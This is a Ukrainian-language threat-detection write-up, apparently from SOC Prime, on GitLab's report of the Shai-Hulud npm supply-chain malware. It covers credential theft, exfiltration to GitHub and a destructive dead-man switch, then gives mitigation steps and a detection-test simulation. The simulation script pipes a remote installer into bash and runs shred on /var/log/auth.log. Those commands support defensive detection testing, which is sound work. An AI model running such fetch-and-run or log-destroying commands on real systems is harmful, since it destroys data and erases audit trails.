SOC Prime Bias: Критичний

28 Nov 2025 15:53 UTC

Шай-Хулуд: Масштабна атака на ланцюг постачання npm

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Шай-Хулуд: Масштабна атака на ланцюг постачання npm
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Короткий огляд

GitLab розкрив широкомасштабну атаку на ланцюжок поставок, спрямовану на екосистеми npm. Кампанія поширює оновлену версію шкідливого ПЗ Shai-Hulud через шкідливі скрипти попередньої установки. Це навантаження захоплює облікові дані хмарних і код-хостів, передає дані до репозиторіїв GitHub, контрольованих атакуючим, і поширюється далі через повторне опублікування троянізованих пакетів. Вбудований вимикач захисту може стерти або пошкодити файли користувача, якщо інфраструктура атакуючого буде порушена.

Розслідування

Команда з дослідження вразливостей GitLab відстежила діяльність до заражених npm пакетів, змінений файл package.json яких містить завантажувач setup_bun.js. Цей завантажувач встановлює середовище виконання Bun та запускає зібране навантаження bun_environment.js, яке збирає облікові дані, запускає Trufflehog для виявлення секретів та завантажує результати у публічний репозиторій GitHub. Шкідливе ПЗ також створює нові репозиторії GitHub для передачі даних та використовує вкрадені токени npm для повторного розповсюдження скомпрометованих пакетів. Якщо доступ до GitHub та npm буде розірвано, навантаження почне видаляти або перезаписувати файли користувача.

Пом’якшення

GitLab рекомендує організаціям перевіряти залежності npm на наявність несподіваних скриптів попередньої установки і перевіряти цілісність опублікованих пакетів. Команди повинні видалити несанкціоновані завантажувачі setup_bun.js, відкликати відкриті токени npm і GitHub, і слідкувати за підозрілими репозиторіями GitHub з міткою “Sha1-Hulud: Друге пришестя”. Захист кінцевих точок повинен бути налаштований на блокування ненадійних скриптів Node та на виявлення деструктивних командних рядків, задокументованих у звіті.

Відповідь

При виявленні активності ізолюйте уражену систему, відкличте всі скомпрометовані облікові дані і очистіть шкідливі npm пакети з внутрішніх реєстрів. Проведіть судово-медичний аналіз, щоб підтвердити або виключити ексфільтрацію даних та знищення файлів. Випустіть нові облікові дані для хмарних платформ і GitHub, і постійно відстежуйте GitHub на наявність новостворених репозиторіїв, що відповідають мітці атакуючого. Наостанок, укріпіть конвеєри CI/CD, щоб заборонити довільні скрипти попередньої установки.

Потік атаки

Виконання симуляції

Передумова: перевірка телеметрії та базових показників повинна пройти успішно.

Сценарій атаки та команди

Зловмисник отримав доступ до скомпрометованого хосту Linux. Щоб встановити постійний процес виконання, здатний запускати подальші навантаження на основі JavaScript, він завантажує та встановлює середовище виконання Bun через однорядкову команду, що передає інсталятор безпосередньо в bash. Одразу після підтвердження наявності середовища виконання атакаючи запускає “вимикач захисту” (симулюється тут затримкою sleep), який запускає деструктивну операцію shred, щоб безповоротно видалити важливий файл (/var/log/auth.log).

Кроки виконання:

  1. Завантаження та встановлення Bun:
    curl -fsSL https://bun.sh/install | bash
  2. Коротке очікування (симуляція вимикача).
  3. Виконати деструктивний shred:
    shred -uvz -n 1 /var/log/auth.log

Обидві команди генерують події створення процесу, які відповідають точним ключовим словам правила Sigma.

Сценарій регресійного тестування

#!/bin/bash
# -------------------------------------------------
# Симуляція поведінки «Bun install + shred» Shai‑Hulud
# -------------------------------------------------

# 1️⃣ Встановлення Bun (точна команда потрібна для виявлення)
echo "[*] Встановлення Bun runtime..."
curl -fsSL https://bun.sh/install | bash

# Коротка пауза для імітації реалістичних часових рамок
sleep 5

# 2️⃣ Провести деструктивне знищення файла (точна команда потрібна)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Знищення $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Файл цілі не знайдено; створення демонстраційного файлу для демонстрації."
    echo "dummy data" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Симуляція завершена."

Команди очищення

#!/bin/bash
# -------------------------------------------------
# Очищення після симуляції Bun/Shred
# -------------------------------------------------

# Видалити всі залишкові файли Bun (якщо встановлено)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Видалення Bun runtime..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Відновити знищений log file (для стабільності системи)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "recreated log placeholder" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Очищення завершено."